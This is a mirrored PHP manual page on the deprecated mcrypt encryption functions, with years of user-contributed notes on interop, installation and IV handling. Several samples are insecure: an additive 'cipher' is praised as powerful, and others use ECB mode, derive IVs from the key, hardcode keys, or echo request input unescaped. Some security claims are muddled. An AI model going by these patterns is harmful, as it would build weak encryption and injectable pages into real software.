Sorry, the PHP had a bug and should have been the following:

   $dlen = strlen($data);
   $pad = 16 - fmod($dlen, 16); //change here
   if ($pad > 0) {
       $i = (int)$pad;
       while ($i > 0) {
           $data.=" ";
           $i--;
       }
   }
IRLCoder
24-Mar-2005 05:12
Just a followup note about mcrypt<-->java interop (have a php app encrypting a string and a java app decrypting it - and vice-versa!)

it seems that mcrypt pads with nulls (0x00) instead of spaces so to allow the interop to work properly (where both java and php/mcrypt encode strings to the same value) - I padded the PHP strings with spaces first before encrypting and did the same on the Java side - thus the padding was the same on each side and the interop is complete.  Here's sample PHP for padding:

   $dlen = strlen($data);
   $pad = fmod($dlen, 16);
   if ($pad > 0) {
       $i = (int)$pad;
       while ($i > 0) {
           $data.=" ";
           $i--;
       }
   }

and here's the Java padding:

 public static String PadString(String in) {
       int slen = (in.length() % 16);
       int i = (16 - slen);
       if ((i > 0) && (i < 16)){
           StringBuffer buf = new StringBuffer(in.length() + i);
           buf.insert(0, in);
           for (i = (16 - slen); i > 0; i--) {
             buf.append(" ");
           }
         return buf.toString();
       }
       else {
           return in;
       }
     }

With trimming on each side for decryption ... all works well.
davisd50 at yahoo dot com
19-Mar-2005 12:37
I was creating a cross-platform (unix + windows) application and ran into some issues with different versions of mcrypt (2.4.x vs 2.5.x) not working with Windows.  After further investigation, I found the following:

Libmcrypt 2.5.7 is not usable with PHP 4.x.

The reason is a very Windows-specific issue.  DLLs are Windows' way of providing shared code - things get loaded once into RAM and are guaranteed identical across all applications that use them.  When an application references a routine/function in a DLL, it may do so either by function name or by reference number.  Referring to a routine by name is considered slow by some people and does slow down the startup of applications that use large numbers of routines in DLLs (applications such as PHP).  Referring to a routine by reference number is very quick but breaks if a new DLL version changes the reference number assignments for its routines.

Libmcrypt 2.5.6 & 7's DLLs do not have the same reference number assignments as old Libmcrypt.dll files did.  Specifically, function 148 (mdecrypt_generic) has been moved in 2.5.6/7 to number 149 due to the addition of the mcrypt_mutex_register function which moved everything above it alphebetically up a reference number.  PHP's php_mcrypt.dll, which provides the PHP language bindings to the low-level Libmcrypt.dll, refers to Libmcrypt.dll's functions by number instead of name.  PHP 4.x's php_mcrypt.dll refers to function 148 while PHP 5.0's php_mcrypt.dll refers to function 149 and notes that PHP 5.0 under Windows can only work with Libmcrypt 2.5.6 and higher (because function 149 in old Libmcrypt is actually the Panama encryption algorithm, not the expected mcrypt_generic routine).

So, unless you can find a PHP 4.x php_mcrypt.dll that has been compiled for Libmcrypt 2.5.6 and higher, PHP 4.x won't be able to decrypt data with Libmcrypt 2.5.7 under Windows.
GMScribe
05-Mar-2005 07:58
TO:
16-Feb-2005 01:53

No key is ever truely random, thus it is breakable.
php at stock-consulting dot com
16-Feb-2005 09:53
amiller of connext point net is correct. The 'one-time pad' is unbreakable, if used correctly. Correct use requires that:
1. the key length equals or exceeds the data length
2. the key must not be used more than once to encrypt data
3. the key must be truly random.

The last point is a bit of a problem. "Random Number Generator" algorithms are only pseudo-random. Once the attacker finds out which PRNG was used, breaking the encryption becomes easy. Hardware solutions for the generation of random data (like, sampling noise via the sound card input and taking the LSB) have also proven to be of dubious quality.

Violation of point 2 makes the encryption worthless. A known-plaintext attack will reveal the key at once.
amiller of connext point net
21-Dec-2004 02:03
"Anonymous'" comment of Nov 19th refers to an encryption scheme known as a 'one-time pad'. Anonymous forgot to mention that, while it's true the one-time pad is secure as long as the key's kept secret, it's also necessary to avoid reusing keys -- multiple plaintexts encrypted using a single key are insecure, too, because of collisions, and that's why it's called a 'one-time pad'. Hope this helps --
Jurgen Schwietering
23-Nov-2004 05:20
Attention when using keys longer than the actual key size (i.e. 160 bit instead of 128 bit).

It will work inbetween PHP scripts, but might cause problems when using openssl or other packages with this integration of mcrypt. Cut them always to the supported size (mcrypt_enc_get_key_size) to avoid sleepless hours.
Anonymous
20-Nov-2004 12:18
Or, if you don't have the mcrypt library, you can just use these functions:

<?php
function Encrypt($string, $key)
{
$result = '';
for($i=1; $i<=strlen($string); $i++)
{
$char = substr($string, $i-1, 1);
$keychar = substr($key, ($i % strlen($key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return $result;
}

function Decrypt($string, $key)
{
$result = '';
for($i=1; $i<=strlen($string); $i++)
{
$char = substr($string, $i-1, 1);
$keychar = substr($key, ($i % strlen($key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}
?>

It's very simple encryption, but as long as the key stays secret, very powerful.
emaher at newbay dot com
06-Nov-2004 12:37
Just a note about mcrypt<-->java interop (have a php app encrypting a string and a java app decrypting it)

php mcrypt pads the plaintext with spaces until the plaintext is a multiple of the block size (e.g 16 for most symmetric ciphers). These spaces have to be stripped on when decrypting on the java side. Seems to be no other way of using a sensible padding (e.g. with PKCS #5) on the mcrypt side.

The following php and java will interop

$cipher = "rijndael-128";
$mode = "cbc";
echo "CIPHER: $cipher | MODE: $mode\n";

// data,key, iv
$data = "blah";
$key = "01234567890abcdef";
$iv = "fedcba9876543210";

// set up and encyrpt
$td = mcrypt_module_open($cipher, "", $mode, $iv);
mcrypt_generic_init($td, $key, $iv);
$encrypted_data = mcrypt_generic($td, $data);
echo bin2hex($encrypted_data);

// tear down
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

Java side

Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
SecretKeySpec keySpec = new SecretKeySpec("01234567890abcdef".getBytes(), "AES");
IvParameterSpec ivSpec = new IvParameterSpec("fedcba9876543210".getBytes());

cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec);
byte[] outText = cipher.doFinal(fromHexString(input));
System.out.println(new String(outText).trim());
Jan Drda <yan at yan dot cz>
16-Oct-2004 09:24
Sometimes mcrypt library is not aviable e.g. commercial hosting, customer restrictions, etc. Because of these conditions I wrote alternative free synchronous encryption library in pure PHP. It is not so complex as mcrypt, but it is sufficient. Everything including detailed documentation and API description is avaiable at http://www.yan.cz/brutuslib/. Hoping it helps somebody.
Moises Deniz Aleman
24-Aug-2004 07:48
This is a modified version of a previous script that test the algorithms and modes of mcrypt dll. This new script prints out the result in a table and avoid warnings to be printed.

<?PHP
/* run a self-test through every listed cipher and mode */
function mcrypt_check_sanity() {
$modes = mcrypt_list_modes();
$algorithms = mcrypt_list_algorithms();
echo "<table border=1>";
echo "<tr><td align=center><strong>Algorithm</strong></td align=center><td><strong>Status</strong></td>";
foreach ($modes as $mode) echo "<td align=center><strong>".strtoupper($mode)."</strong></td>";
echo "</tr>";
 foreach ($algorithms as $cipher) {
   echo "<tr><td bgcolor=f0f0ff align=left>".strtoupper($cipher)."</td>";
   if(mcrypt_module_self_test($cipher)) {
       print "<td bgcolor=green align=center>OK</td>";
   } else {
       print "<td bgcolor=red align=center>NOT OK</td>";
   }
   foreach ($modes as $mode) {
       if($mode == 'stream') {
           $result = "<td bgcolor=gray align=center>NOT TESTED</td>";
       } else if(mcrypt_test_module_mode($cipher,$mode)) {
             $result = "<td bgcolor=green align=center><strong>OK</strong></td>";
       } else {
             $result = "<td bgcolor=red align=center>NOT OK</td>";
       }
       print $result;
   }
   echo "</tr>";
 }
echo "</table>";
 }

// a variant on the example posted in mdecrypt_generic
function mcrypt_test_module_mode($module,$mode) {
 /* Data */
 $key = 'this is a very long key, even too long for the cipher';
 $plain_text = 'very important data';

 /* Open module, and create IV */
 $td = mcrypt_module_open($module, '',$mode, '');
 $key = substr($key, 0, mcrypt_enc_get_key_size($td));
 $iv_size = mcrypt_enc_get_iv_size($td);
 $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

 /* Initialize encryption handle */
if (mcrypt_generic_init($td, $key, $iv) != -1) {

 /* Encrypt data */
 $c_t = mcrypt_generic($td, $plain_text);
 mcrypt_generic_deinit($td);

 // close the module
 mcrypt_module_close($td);

 /* Reinitialize buffers for decryption */
 /* Open module */
 $td = mcrypt_module_open($module, '', $mode, '');
 $key = substr($key, 0, mcrypt_enc_get_key_size($td));

 mcrypt_generic_init($td, $key, $iv);
 $p_t = trim(mdecrypt_generic($td, $c_t)); //trim to remove padding

 /* Clean up */
 mcrypt_generic_end($td);
 mcrypt_module_close($td);
 }

 if (strncmp($p_t, $plain_text, strlen($plain_text)) == 0) {
   return TRUE;
 } else {
   return FALSE;
 }
 }

// function call:
@mcrypt_check_sanity();
?>
wagner at cesnet dot cz
17-Aug-2004 12:38
I have another comment to the script submitted by robert at peakepro dot com. He uses deprecated function mcrypt_generic_end which also closes the module. Subsequent mcrypt_module_close then complains about invalid resource. Moreover, not all combinations of algorith and mode are compatible. It is necessary to check the return value from mcrypt_module_open in order to find whether the module can be open for selected combination. My script also displays some useful information. You can find the full source at my site http://icebearsoft.euweb.cz/php/
Wilmo
11-Aug-2004 10:54
Changing the function as such seems to greatly help.
<?php
function encrypt($encrypt) {
   global $key;
   srand((double) microtime() * 1000000); //for sake of MCRYPT_RAND
   $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND);
   $passcrypt = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $encrypt, MCRYPT_MODE_ECB, $iv);
   $encode = base64_encode($passcrypt);
 return $encode;
 }
?>
by adding:
<?php
srand((double) microtime() * 1000000); //for sake of MCRYPT_RAND
?>
which I guess seeds the encryption routine differently everytime.

Thanks to  robert at peakepro dot com sourced from
http://www.php.net/manual/en/function.mcrypt-create-iv.php

Cheers,
Wil
Wilmo
11-Aug-2004 10:16
The Algorithm posted by:
Mike Zaccari
 29-Jun-2004 03:54
"I'm running PHP 4.3.7 on Apache 2.0.49 on an Xp machine, and after many hours of googling over the internet I found that the easiest way to use the mcrypt function was to do this:"

Thanks for posting this Mike but there seems to be a problem
with your implementation.
On my machine and I suspect others, the output is independent
of the key. I can change the key and this has no effect on
the resulting crypted data. So the input is always encrypted the
same way irregardless of the key and therefore decrypted
with any key.
This would only be secure if an attacker knew nothing about the
algorithm which seems unlikely from an experienced attacker.
I am looking into a fix and will post if resolved.
Does anybody else have this problem? I want to make sure my install is good.
I am running on a gentoo linux box.
Thanks,
Wil

Here is the code I am using to test the algorithm:

<head><title>Encryption</title>
</head>
<body>
<?php print_debug_header(1); ?>
<form name=form method=post action='encrypt.php'>
<table align=center>
<TR><TD>Source Text:</TD><TD><input type=text name=input value=<?php echo $_REQUEST['input']; ?>></TD></TR>
<TR><TD>Key:</TD><TD><input type=text name=key value=<?php echo $_REQUEST['key']; ?>></TD></TR>
</table>
<input type=submit>
</form>

<?php
if(!empty($_REQUEST['input'])){
   $encrypted=encrypt($_REQUEST['input']);
   $decrypted=decrypt($encrypted);

   echo "Encrypted : '$encrypted' Decrypted: '$decrypted' <BR>";
}

$key = $_REQUEST['key'];

 //Encrypt Function
 function encrypt($encrypt) {
   global $key;
   $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND);
   $passcrypt = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $encrypt, MCRYPT_MODE_ECB, $iv);
   $encode = base64_encode($passcrypt);
 return $encode;
 }

 //Decrypt Function
 function decrypt($decrypt) {
   global $key;
   $decoded = base64_decode($decrypt);
   $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND);
   $decrypted = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $decoded, MCRYPT_MODE_ECB, $iv);
 return $decrypted;
 }
?>

</body>
</html>
dzelko at hotmail dot com
15-May-2004 03:11
Windows IIS Users - Problems installing/using mcrypt and other extensions
::
I've noticed a lot of users complaining in forums that they have difficult time getting mcrypt extension to function/ finding or installing working .dlls when using IIS:
::
Easy solution that works well for me: (IIS 6 on Win 2003 Svr and IIS on XP Pro) #customized install later for increased security#
1. Install current stable php version using windows installer #gets php up and running quickly#
2. Download Windows Binary Package
3. Extract Package Library to PHP folder installer generates - overwrite all
4. Edit php.ini as appropriate.  (specifically for mcrypt uncomment mcrypt=php_mcrypt.dll)
::
No mo' problems.
Deek Starr
22-Apr-2004 06:16
As per the issue with decrypting (mdecrypt_generic) on iss in windows. My finding as that the new 2004 version works but the 2002 does not.

I'm using WinXP Server 2003 - ISS 6.0 with:

libmcrypt.dll          19-Jan-2004 02:27  163k
http://ftp.emini.dk/pub/php/win32/mcrypt/libmcrypt.dll

php_mycrypt.dll      14-Jan-2004 5:34    36.8k
From the v4.3.6 windows zip distribution of php.
http://www.php.net/get/php-4.3.6-Win32.zip/from/a/mirror

My assumption is that the new IIS 6 should use the new libmcrypt where IIS <= 5 should use the older version.

[ Hope that helps ]
robert at peakepro dot com
03-Mar-2004 06:59
15-Feb-2004 06:17
"I found this nested loop very useful for checking the sanity of my libmcrypt install. It turned out many of the modules weren't working in certain modes. Hopefully this will save someone some frustration:"

I have ammended the mcrypt_check_sanity() function. This is a bug fix: the function was reinitializing the IV, which is unacceptable. Here is the complete, fixed version. Note that 'stream' mode is not tested.

<?PHP
/* run a self-test through every listed cipher and mode */
function mcrypt_check_sanity() {
$modes = mcrypt_list_modes();
$algorithms = mcrypt_list_algorithms();

 foreach ($algorithms as $cipher) {
   if(mcrypt_module_self_test($cipher)) {
       print $cipher." ok.<br />\n";
   } else {
       print $cipher." not ok.<br />\n";
   }
   foreach ($modes as $mode) {
       if($mode == 'stream') {
           $result = "not tested";
       } else if(mcrypt_test_module_mode($cipher,$mode)) {
             $result = "ok";
       } else {
             $result = "not ok";
       }
       print $cipher." in mode ".$mode." ".$result."<br />\n";
         mcrypt_module_close($td);
   }
 }
 }

// a variant on the example posted in mdecrypt_generic
function mcrypt_test_module_mode($module,$mode) {
 /* Data */
 $key = 'this is a very long key, even too long for the cipher';
 $plain_text = 'very important data';

 /* Open module, and create IV */
 $td = mcrypt_module_open($module, '',$mode, '');
 $key = substr($key, 0, mcrypt_enc_get_key_size($td));
 $iv_size = mcrypt_enc_get_iv_size($td);
 $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

 /* Initialize encryption handle */
if (mcrypt_generic_init($td, $key, $iv) != -1) {

 /* Encrypt data */
 $c_t = mcrypt_generic($td, $plain_text);
 mcrypt_generic_deinit($td);

 // close the module
 mcrypt_module_close($td);

 /* Reinitialize buffers for decryption */
 /* Open module */
 $td = mcrypt_module_open($module, '', $mode, '');
 $key = substr($key, 0, mcrypt_enc_get_key_size($td));

 mcrypt_generic_init($td, $key, $iv);
 $p_t = trim(mdecrypt_generic($td, $c_t)); //trim to remove padding

 /* Clean up */
 mcrypt_generic_end($td);
 mcrypt_module_close($td);
 }

 if (strncmp($p_t, $plain_text, strlen($plain_text)) == 0) {
   return TRUE;
 } else {
   return FALSE;
 }
 }

// function call:
mcrypt_check_sanity();
?>

Apologies for any confusion the previous version may have caused. The only working mode listed was ecb, since it does not use an IV.
groundzero at zuavra dot net
09-Jan-2004 09:08
If you've ever compiled PHP from source (any version) you may be familiar with the [in]famous MCRYPT_BLOWFISH_128 compilation error that appears when you attempt to compile --with-mcrypt. It occurs often on Debian but not only there. The problem: during compilation, the PHP configure script always assumes that libmcrypt has been built in conjunction with libltdl. Whenever that is not the case, PHP compilation will fail later saying certain headers (such as the above blowfish example) are missing from mcrypt.h (which is misleading, they're not supposed to be there nor looked after if libltdl was properly involved). Solution: make sure your libmcrypt was linked against libltdl before you even start configuring PHP. You can check by running 'ldd lybmcrypt.so' and verifying that libltdl appears in the output. libltdl can be found in libltld[3][-dev] on Debian or in libtool-libs on Red Hat.
simms
04-Oct-2003 05:03
DEBIAN users: avoid mcrypt installation headaches.
to add mcrypt support to an existing php installation, get root and run

apt-get install php4-mcrypt

restart your webserver, and voil
steve@itemfront dot ltd dot uk
29-Sep-2003 08:17
Just spent a while getting mcrypt support working with php. Used libmcrypt version 2.5.7 with php 4.3.3. Out of the box it just won't work. Configure as follows:

libmcrypt:

  ./configure --disable-posix-threads --enable-dynamic-loading

php: ( as you can see, it's built for a SunONE server, but that's the easy bit to configure! )

./configure  --with-nsapi=/usr/iplanet/servers --enable-sigchld --with-ldap --with-zlib-dir=/usr/lib --with-mcrypt=<srcdir>/libmcrypt-2.5.7

hth, steve
herowekker at hotmail dot com
31-Jul-2003 08:55
mcrypt_ecb with base64_decode gave some problems, i found out that it had to be chopped to work:

chop(mcrypt_ecb(MCRYPT_BLOWFISH,$key,base64_decode
($input),MCRYPT_DECRYPT));
paul at xmill dot com
06-Nov-2002 02:25
The statement that use of the 'generic' functions is 'recommended' in 2.4+ should probably be 'required'.  Having like many others struggled with a "mcrypt module initialization failed" error even when phpinfo() showed mcrypt installed and all its algorithms loaded, I found that:

$key = mcrypt_ecb (MCRYPT_3DES, $magic, $input, MCRYPT_ENCRYPT);

fails, but

$td = mcrypt_module_open (MCRYPT_TripleDES, "", MCRYPT_MODE_ECB, "");
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_RAND);
mcrypt_generic_init ($td, $magic, $iv);
$key = mcrypt_generic ($td, $input);
mcrypt_generic_end ($td);

works fine.  You can't leave out the creation of the IV to the right length, even though ECB doesn't use it (happily, because I want it repeatable).
scott at boothcreek dot com
28-Mar-2002 05:28
If you are using ECB mode to encrypt it does not seem to use the iv (initialization vector) for much of anything, given the same key it will always decrypt it no matter what the iv is.  If you use CBC mode you must decrypt with the same iv that you encrypted with.

 If you use a different iv before decrypting, your decrypt will not work.  IMHO it seems better to use CBC mode than ECB as ECB will always encrypt to the same cipher text given the same plain text  (leaving you open to know plaintext attacks).  CBC uses the random iv which means text encrypts to different things.  You probably could get the same effect from using random keys in ECB mode.

Read that in the Schneier book - Applied Cryptography (ISBN 0-471-11709-9)  This book is a must for anyone seriously using any type of encryption.
pawelNOSPAM at rsc dot pl
03-Aug-2001 09:37
If you compiled mcrypt and php without problem, but phpinfo() shows there are no supported ciphers and modes, try to change mode to 755 on libdirs (/usr/local/libmcrypt, /usr/local/libcrypt).
mountie at paygate dot net
10-Feb-2000 09:21
the encrypted result data maybe binary data and It make errors in sql query.
so use the base64_encode/base64_decode function with mcrypt()
try below

base64_encode(mcrypt_ecb(MCRYPT_BLOWFISH,$key,$input,MCRYPT_ENCRYPT));

mcrypt_ecb(MCRYPT_BLOWFISH,$key,base64_decode($input),MCRYPT_DECRYPT);
nsayer at quack dot kfu dot com
30-Jun-1999 10:31
For a practical example suitable for encrypting and
validating cookies or passing secure messages,
go to http://www.kfu.com/~nsayer/encryption/
add a note add a note

后退 | 起点 | 前进
mcal_week_of_year | 上一级 | mcrypt_cbc


mcrypt_cbc

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

mcrypt_cbc -- Encrypt/decrypt data in CBC mode

Description

string mcrypt_cbc ( int cipher, string key, string data, int mode [, string iv] )

string mcrypt_cbc ( string cipher, string key, string data, int mode [, string iv] )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or higher. The mode should be either MCRYPT_ENCRYPT or MCRYPT_DECRYPT.

This function should not be used anymore, see mcrypt_generic() and mdecrypt_generic() for replacements.

add a note add a note User Contributed Notes
28-Apr-2006 11:44
Here is a post similar to the one above, except this works for AES256
256 bit key and 128 bit block size... just make sure the $key variable is at least 48 characters long

---- PERL ---

my $key = '12345678901234567890123456789012345678901234567890';
my $CC = '4007000000027';

# You need Crypt::Rijndael installed for this to work
use Crypt::CBC;
my $cipher = Crypt::CBC->new( {'key' => substr($key,0,32),
                               'cipher'=> 'Rijndael',
                               'iv' => substr($key,32,16),
                               'regenerate_key' => 0,
                               'padding' => 'null',
                               'prepend_iv' => 0
                                   });
my $encrypted = $cipher->encrypt($CC);

print "encrypted : ".$encrypted."\n";
print "decrypted : ".$cipher->decrypt($encrypted)."\n";

--- PHP ---

$key = '123456789012345678901234567890123456789012345678901234567890';
$CC = '4007000000027';

$encrypted = mcrypt_cbc(MCRYPT_RIJNDAEL_128,substr($key,0,32) ,$CC,MCRYPT_ENCRYPT,substr($key,32,16));
$decrypted = mcrypt_cbc(MCRYPT_RIJNDAEL_128,substr($key,0,32) ,$encrypted,MCRYPT_DECRYPT,substr($key,32,16));

echo "encrypted : ".bin2hex($encrypted);
eric at ez-llc dot com
12-Mar-2006 01:38
I was able get php and perl to play together with blowfish using cipher block chaining.  The blowfish key needs to be atleast 8 chars (even though blowfish min is 8 bits, perl didn't like keys smaller than 8 chars) and max 56.  The iv must be exactly 8 chars and padding needs to be null because php pads with nulls.  Also, php needs libmcrypt >= 2.4.9 to be compatible with perl.

PERL
----

use Crypt::CBC;
$cipher = Crypt::CBC->new( {'key' => 'my secret key',
                                   'cipher'=> 'Blowfish',
                                   'iv' => '12345678',
                                   'regenerate_key' => 0,
                                   'padding' => 'null',
                                   'prepend_iv' => 0
                                   });
$cc = 'my secret text';
$encrypted = $cipher->encrypt($cc);
$decrypted = $cipher->decrypt($encrypted);

print "encrypted : ".$encrypted;
print "<br>";
print "decrypted : ".$decrypted;

PHP
---

$cc = 'my secret text';
$encrypted = mcrypt_cbc(MCRYPT_BLOWFISH,'my secret key',$cc,MCRYPT_ENCRYPT,'12345678');
$decrypted = mcrypt_cbc(MCRYPT_BLOWFISH, 'my secret key', $encrypted, MCRYPT_DECRYPT,'12345678');
echo "encrypted : ".$encrypted;
echo "<br>";
echo "decrypted : ".$decrypted;
add a note add a note

后退 | 起点 | 前进
Mcrypt Encryption Functions | 上一级 | mcrypt_cfb


mcrypt_cfb

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

mcrypt_cfb -- Encrypt/decrypt data in CFB mode

Description

string mcrypt_cfb ( int cipher, string key, string data, int mode, string iv )

string mcrypt_cfb ( string cipher, string key, string data, int mode [, string iv] )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or higher. The mode should be either MCRYPT_ENCRYPT or MCRYPT_DECRYPT.

This function should not be used anymore, see mcrypt_generic() and mdecrypt_generic() for replacements.

add a note add a note User Contributed Notes
GloomM
24-Jan-2006 07:14
Hi,

After some debugging of the script I found that the missing characters are due to the trim and chop used in the script for some reason.

If you put it like so, you always get a perfect encryption/decryption:

function encrypt($key, $plain_text) {
  $plain_text = trim($plain_text);
  $iv = substr(md5($key), 0,mcrypt_get_iv_size (MCRYPT_CAST_256,MCRYPT_MODE_CFB));
  $c_t = mcrypt_cfb (MCRYPT_CAST_256, $key, $plain_text, MCRYPT_ENCRYPT, $iv);
  return base64_encode($c_t);
}

function decrypt($key, $c_t) {
  $c_t = base64_decode($c_t);
  $iv = substr(md5($key), 0,mcrypt_get_iv_size (MCRYPT_CAST_256,MCRYPT_MODE_CFB));
  $p_t = mcrypt_cfb (MCRYPT_CAST_256, $key, $c_t, MCRYPT_DECRYPT, $iv);
  return trim($p_t);
}

GloomM
c4
09-May-2004 07:15
There is something wrong (with your code?) Kyle, the decryption part sometimes deletes the last character! Below is the code I tested, if you run it a lot of times you will see that the decrypted value sometimes doesn't match the encrypted one (the last digit is missing).

Any idea what might be wrong?

Otherwise I like to code very much!

Regards,

c4

CODE:

<html>
<body>
<p>
<?php
$key = "asfasfgaep";

$random_number = rand(10000,99999);
$encrypted=encrypt($key,$random_number);
$decrypted=decrypt($key,$encrypted);

echo "NUMBER: $random_number<br>
ENCRYPTED VALUE: $encrypted<br>
DECRYPTED VALUE: $decrypted";

/* Your functions without the comments are below */

function encrypt($key, $plain_text) {
$plain_text = trim($plain_text);
$iv = substr(md5($key), 0,mcrypt_get_iv_size (MCRYPT_CAST_256,MCRYPT_MODE_CFB));
$c_t = mcrypt_cfb (MCRYPT_CAST_256, $key, $plain_text, MCRYPT_ENCRYPT, $iv);
return trim(chop(base64_encode($c_t)));
}

function decrypt($key, $c_t) {
$c_t =  trim(chop(base64_decode($c_t)));
$iv = substr(md5($key), 0,mcrypt_get_iv_size (MCRYPT_CAST_256,MCRYPT_MODE_CFB));
$p_t = mcrypt_cfb (MCRYPT_CAST_256, $key, $c_t, MCRYPT_DECRYPT, $iv);
return trim(chop($p_t));
}
?>
</p>
</body>
</html>
fandelem at hotmail dot com
15-May-2002 04:53
please disregard the comment above me
(i wrote it prematurely.. if it could be
deleted, that would be great :)

anyways, here is a full working version of utilitizing cfb!

function encrypt($key, $plain_text) {
// returns encrypted text
// incoming: should be the $key that was encrypt
// with and the $plain_text that wants to be encrypted

  $plain_text = trim($plain_text);

  /* Quoting Mcrypt:
     "You must (in CFB and OFB mode) or can (in CBC mode)
       supply an initialization vector (IV) to the respective
       cipher function. The IV must be unique and must be the
       same when decrypting/encrypting."

     Meaning, we need a way to generate a _unique_ initialization vector
     but at the same time, be able to know how to gather our IV at both
     encrypt/decrypt stage.  My personal recommendation would be
     (if you are working with files) is to get the md5() of the file.
     In this example, however, I want more of a broader scope, so I chose
     to md5() the key, which should be the same both times. Note that the IV
     needs to be the size of our algorithm, hence us using substr.
  */

  $iv = substr(md5($key), 0,mcrypt_get_iv_size (MCRYPT_CAST_256,MCRYPT_MODE_CFB));
  $c_t = mcrypt_cfb (MCRYPT_CAST_256, $key, $plain_text, MCRYPT_ENCRYPT, $iv);

   return trim(chop(base64_encode($c_t)));
}
function decrypt($key, $c_t) {
// incoming: should be the $key that you encrypted
// with and the $c_t (encrypted text)
// returns plain text

  // decode it first :)
  $c_t =  trim(chop(base64_decode($c_t)));

  $iv = substr(md5($key), 0,mcrypt_get_iv_size (MCRYPT_CAST_256,MCRYPT_MODE_CFB));
  $p_t = mcrypt_cfb (MCRYPT_CAST_256, $key, $c_t, MCRYPT_DECRYPT, $iv);

         return trim(chop($p_t));
}

cheers,

kyle
add a note add a note

后退 | 起点 | 前进
mcrypt_cbc | 上一级 | mcrypt_create_iv


mcrypt_create_iv

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

mcrypt_create_iv -- Create an initialization vector (IV) from a random source

Description

string mcrypt_create_iv ( int size [, int source] )

mcrypt_create_iv() is used to create an IV.

Parameter size determines the size of the IV, parameter source (defaults to random value) specifies the source of the IV.

The source can be MCRYPT_RAND (system random number generator), MCRYPT_DEV_RANDOM (read data from /dev/random) and MCRYPT_DEV_URANDOM (read data from /dev/urandom). MCRYPT_RAND is the only one supported on Windows because Windows (of course) doesn't have /dev/random or /dev/urandom.

注: When using MCRYPT_RAND, remember to call srand() before mcrypt_create_iv() to initialize the random number generator; it is not seeded automatically like rand() is.

例子 1. mcrypt_create_iv() example

<?php
    $size = mcrypt_get_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB);
    $iv = mcrypt_create_iv($size, MCRYPT_DEV_RANDOM);
?>

The IV is only meant to give an alternative seed to the encryption routines. This IV does not need to be secret at all, though it can be desirable. You even can send it along with your ciphertext without losing security.

More information can be found at http://www.ciphersbyritter.com/GLOSSARY.HTM#IV, http://fn2.freenet.edmonton.ab.ca/~jsavard/crypto/co0409.htm and in chapter 9.3 of Applied Cryptography by Schneier (ISBN 0-471-11709-9) for a discussion of this topic.

add a note add a note User Contributed Notes
Anonymous
18-Oct-2005 12:01
At:
edwardzyang at thewritingpot dot com
19-Jul-2005 10:06

This is because of the fact, that (like described in the manual above) this function does NOT reseed the random number generator, in contrary to rand(). Use srand() like suggested above to get correct IVs.
05-Sep-2005 02:12
Correction to the last comment, the second parameter of rtrim() uses double quotes, not single quotes.

So the corrected code is as follows:

   $retval = rtrim($retval, "\0");    // trim ONLY the nulls at the END

;)
edwardzyang at thewritingpot dot com
20-Jul-2005 04:06
For some reason, on my Windows installation, MCRYPT_RAND doesn't work at all: it always gives the same IV. This is a huge problem, especially for OFB and CTR, where using the same IV destroys security.

Fortunantely, it's easy to emulate the IV function using other random generators that do indeed work (such as rand() ). Here's an example:

<?php

function alt_mcrypt_create_iv ($size) {
   $iv = '';
   for($i = 0; $i < $size; $i++) {
       $iv .= chr(rand(0,255));
   }
   return $iv;
}

?>

Note that this doesn't make it "more random" in any way, it just let's you use your own favorite random function to create randomness than the quirky mcrypt_create_iv.
04-Jun-2005 12:53
First, the IV should be random and variable. The whole point of it is to ensure that the same plaintext does not encrypt to the same ciphertext every time. You most certainly do lose security if the IV is constant or public.

The ciphertext should be E(IV | plaintext, key)

Second, the IV should not be part of the decryption parameters at all. You should be able to decrypt the cipher text, throw away the initial vector at the front w/o even reading it, and have your plaintext:

[IV | plaintext ] = D(ciphertext, key)

All that is public is the size of the IV.

These are well-known facts about cryptography. Check N. Kobliz's books for backup.

Unless mcrypt conforms to the above, it is very seriously flawed and should not be used.
tim at indigopixel dot com
18-Mar-2004 08:32
From http://www.ciphersbyritter.com/GLOSSARY.HTM#IV (linked to above):

"While it is often said that IV values need only be random-like or unpredictable, and need not be confidential, in the case of CBC mode, that advice can lead to man-in-the-middle attacks on the first plaintext block. If a MITM opponent knows the usual content of the first block, they can change the IV to manipulate that block (and only that block) to deliver a different address, or different dollar amounts, or different commands, or whatever. And while the conventional advice is to use a MAC at a higher level to detect changed plaintext, that is not always desirable or properly executed. But the CBC first-block problem is easily solved at the CBC level simply by enciphering the IV and otherwise keeping it confidential, and that can be reasonable even when a MAC will be used later."
robert at peakepro dot com
04-Mar-2004 04:25
It is important to note that all cipher modes except ecb require the same IV to be used in decryption as was used in encryption.

You need to pass the key *and* the IV to your decrypt function. Initializing a new IV in the decrypt routine will not work.

Since, "you even can send [the IV] along with your ciphertext without  loosing security," a nice way to handle this is to prepend your IV to your ciphertext. Since the IV is fixed-width, you can then easily recover the IV and original ciphertext using mcrypt_get_iv_size() and substr().

Here is an example:

<?PHP
function my_encrypt($string,$key) {
   srand((double) microtime() * 1000000); //for sake of MCRYPT_RAND
   $key = md5($key); //to improve variance
  /* Open module, and create IV */
  $td = mcrypt_module_open('des', '','cfb', '');
